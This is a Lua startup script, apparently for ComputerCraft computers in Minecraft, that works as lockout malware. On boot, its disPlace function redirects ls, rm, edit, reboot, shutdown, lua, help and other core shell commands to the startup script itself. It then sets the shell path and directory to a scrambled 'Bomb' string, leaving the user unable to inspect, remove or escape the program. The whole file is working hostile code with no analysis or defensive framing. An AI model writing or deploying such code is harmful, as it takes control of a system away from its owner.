newStartup

local function convert(chars,dist,inv)
    local charInt = string.byte(chars);
    for i=1,dist do
        if(inv)then charInt = charInt - 1; else charInt = charInt + 1; end
        if(charInt<32)then
            if(inv)then charInt = 126; else charInt = 126; end
        elseif(charInt>126)then
            if(inv)then charInt = 32; else charInt = 32; end
        end
    end
    return string.char(charInt);
end

local function crypt(str,k,inv)
    local enc= "";
    for i=1,#str do
        if(#str-k[5] >= i or not inv)then
            for inc=0,3 do
                if(i%4 == inc)then
                    enc = enc .. convert(string.sub(str,i,i),k[inc+1],inv);
                    break;
                end
            end
        end
    end
    if(not inv)then
        for i=1,k[5] do
            enc = enc .. string.char(math.random(32,126));
        end
    end
    return enc;
end
local enc1 = {124,532,123,22,0};
local enc2 = {124,532,123,22,20};

function disPlace()
    shell.clearAlias("ls")
    shell.clearAlias("dir")
    shell.clearAlias("cp")
    shell.clearAlias("mv")
    shell.clearAlias("rm")
    shell.setAlias("ls", "startup")
    shell.setAlias("dir", "startup")
    shell.setAlias("cp", "startup")
    shell.setAlias("mv", "startup")
    shell.setAlias("rm", "startup")
    shell.setAlias("list", "startup")
    shell.setAlias("edit", "startup")
    shell.setAlias("reboot", "startup")
    shell.setAlias("shutdown", "startup")
    shell.setAlias("lua", "startup")
    shell.setAlias("delete", "startup")
    shell.setAlias("help", "startup")
    local var = crypt("Bomb", enc2)
    shell.setPath(var)
    shell.setDir(var)
end

disPlace()